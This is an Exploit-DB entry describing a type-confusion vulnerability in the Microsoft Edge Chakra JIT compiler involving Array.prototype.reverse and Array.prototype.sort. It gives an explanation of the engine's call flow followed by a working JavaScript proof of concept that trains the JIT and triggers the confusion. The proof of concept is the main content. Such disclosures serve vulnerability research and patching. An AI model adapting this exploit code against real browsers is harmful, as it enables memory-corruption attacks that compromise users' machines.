Microsoft Edge Chakra JIT - 'Array.prototype.reverse' Array Type Confusion

EDB-ID:

44079


Platform:

Windows

Published:

2018-02-15

/*
This is simillar to the previous issue 1457. But this time, we use Array.prototype.reverse.

Array.prototype.reverse can be inlined and may invoke EnsureNonNativeArray to convert the prototype of "this" to a Var array.
Call flow: JavascriptArray::EntryReverse -> FillFromPrototypes -> ForEachOwnMissingArrayIndexOfObject -> EnsureNonNativeArray

To make that happen, the prototype must be a native array. But this usually can't be fulfilled, since once it's set as a prototype, it gets converted to a Var array. To bypass this, we can use Array.prototype.sort.

Here's a snippet of JavascriptArray::EntrySort.
    arr = JavascriptNativeFloatArray::ConvertToVarArray((JavascriptNativeFloatArray*)arr);
    JS_REENTRANT(jsReentLock, arr->Sort(compFn));
    arr = arr->ConvertToNativeArrayInPlace<JavascriptNativeFloatArray, double>(arr);

If "this" is a native array, the "sort" method first converts it to a Var array, sorts it, and then converts it back to the original type. So by setting it as a prototype in the compare function, we can make an object that its prototype is a native array.

PoC:
*/

function opt(arr, arr2) {
    arr2[0];

    arr[0] = 1.1;
    arr2.reverse();
    arr[0] = 2.3023e-320;
}

function main() {
    let arr = [1.1, 2.2, 3.3];
    arr.__proto__ = null;  // avoid inline caching 
    delete arr[1];  // avoid doArrayMissingValueCheckHoist

    let arr2 = [, {}];
    arr2.__proto__ = {};
    arr2.reverse = Array.prototype.reverse;

    for (let i = 0; i < 10000; i++) {
        opt(arr, arr2);
    }

    Array.prototype.sort.call(arr, () => {
        arr2.__proto__.__proto__ = arr;
    });

    opt(arr, arr2);
    print(arr[0]);
}

main();